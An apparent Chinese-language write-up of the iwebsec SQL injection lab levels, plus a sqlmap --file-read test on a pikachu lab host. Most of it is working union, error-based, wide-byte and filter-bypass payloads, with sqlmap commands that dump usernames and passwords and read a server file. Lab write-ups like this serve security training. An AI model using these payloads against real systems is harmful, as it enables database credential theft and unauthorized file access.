*iwebsec*
*MySQL 数字型 SQLi*
数字型判断
id=1 and 1=1
id=1 and 1=2
id=1 order by 3–+
id=1 order by 4–+
id=1 union select 1,2,3–+
id=1 union select 1,2,database()–+
id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’–+
id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’–+
id=1 union select 1,2,group_concat(username,‘*’,password) from users–+
获得账号密码
*MySQL 字符型 SQLi*
本题实际上对’进行了转义
实际为宽字节注入
尝试id=1%df%27
增加注释–+
id=1%df%27%20order%20by%203–+
id=1%df%27%20order%20by%204–+
id=1%df%27%20union%20select%201,2,3–+
id=1%df%27%20union%20select%201,2,database()–+
id=1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()–+
id=1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273–+
id=1%df%27%20union%20select%201,username,password%20from%20users–+
获得账号密码
*MySQL bool SQLi*
使用sqlmap
sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch --dbs
sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec --tables
sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec -T users --columns
sqlmap -u “http://192.168.100.137/sqli/03.php?id=1” --batch -D iwebsec -T users -C username,password --dump
获取到账号密码
*MySQL sleep SQLi*
使用sqlmap
sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch --dbs
sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec --tables
sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec -T users --columns
sqlmap -u “http://192.168.100.137/sqli/04.php?id=1” --batch -D iwebsec -T users -C username,password --dump
获取到账号密码
*MySQL updatexml SQLi*
使用报错注入
id=-1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’),0x7e),1)#
id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’),0x7e),1)#
id=-1 or updatexml(1,concat(0x7e,(select group_concat(username,‘*’,password) from users),0x7e),1)#
获取到账号密码
*MYSQL 宽字节SQLi*
与之前字符型一致
id=1%df%27%20order%20by%203–+
id=1%df%27%20order%20by%204–+
id=1%df%27%20union%20select%201,2,3–+
id=1%df%27%20union%20select%201,2,database()–+
id=1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()–+
id=1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273–+
id=1%df%27%20union%20select%201,username,password%20from%20users–+
获得账号密码
*空格过滤*
空格使用/**/替代
数字型
id=1//order//by/**/3
id=-1//union//select/**/1,2,3
id=-1//union//select/**/1,2,database()
id=-1//union//select//1,2,group_concat(table_name)//from//information_schema.tables//where/**/table_schema=‘iwebsec’
id=-1//union//select//1,2,group_concat(column_name)//from//information_schema.columns//where//table_schema=‘iwebsec’//and/**/table_name=‘users’
id=-1//union//select//1,username,password//from/**/users
获得账号密码
*大小写过滤*
数字型
id=1 order by 3
select被过滤,通过Select绕过
id=-1 union Select 1,2,3
id=-1 union Select 1,2,database()
id=-1 union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’
id=-1 union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’
id=-1 union Select 1,username,password from users
获得账号密码
*双写关键字绕过*
id=1 order by 3
select被过滤,使用seselectlect绕过
id=-1 union seselectlect 1,2,3
id=-1 union seselectlect 1,2,database()
id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’
id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’
id=-1 union seselectlect 1,username,password from users
获得账号密码
*双重url编码绕过*
与之前一致过滤了select
使用双重url编码 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
id=-1 union %2573%2565%256c%2565%2563%2574 1,2,3
id=-1 union %2573%2565%256c%2565%2563%2574 1,2,database()
id=-1 union %2573%2565%256c%2565%2563%2574 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’
id=-1 union %2573%2565%256c%2565%2563%2574 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘users’
id=-1 union %2573%2565%256c%2565%2563%2574 1,username,password from users
获得账号密码
*十六进制编码绕过*
id=-1 union select 1,2,3
id=-1 union select 1,2,database()
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
users用0x7573657273替代
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
id=-1 union select 1,username,password from users
获取到账号密码
*等价函数替换过滤*
id=-1 union select 1,2,3
id=-1 union select 1,2,database()
过滤了=,用like替代
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like ‘iwebsec’
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like ‘iwebsec’ and table_name like ‘users’
id=-1 union select 1,username,password from users
获得账号密码
*MySQL二次注入*
注册admin’
找回密码
发现报错
尝试注册admin’#
之后找回密码
获取到账号密码
*使用sqlmap读外部文件*
在pikachu字符型尝试
使用–file-read读取
sqlmap -u “http://192.168.100.129/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2” --file-read=“C:\Users\Administrator\Desktop\1.txt” --batch
发现保存到一个路径下,查看内容
cat /root/.local/share/sqlmap/output/192.168.100.129/files/C__Users_Administrator_Desktop_1.txt
123654789
读取成功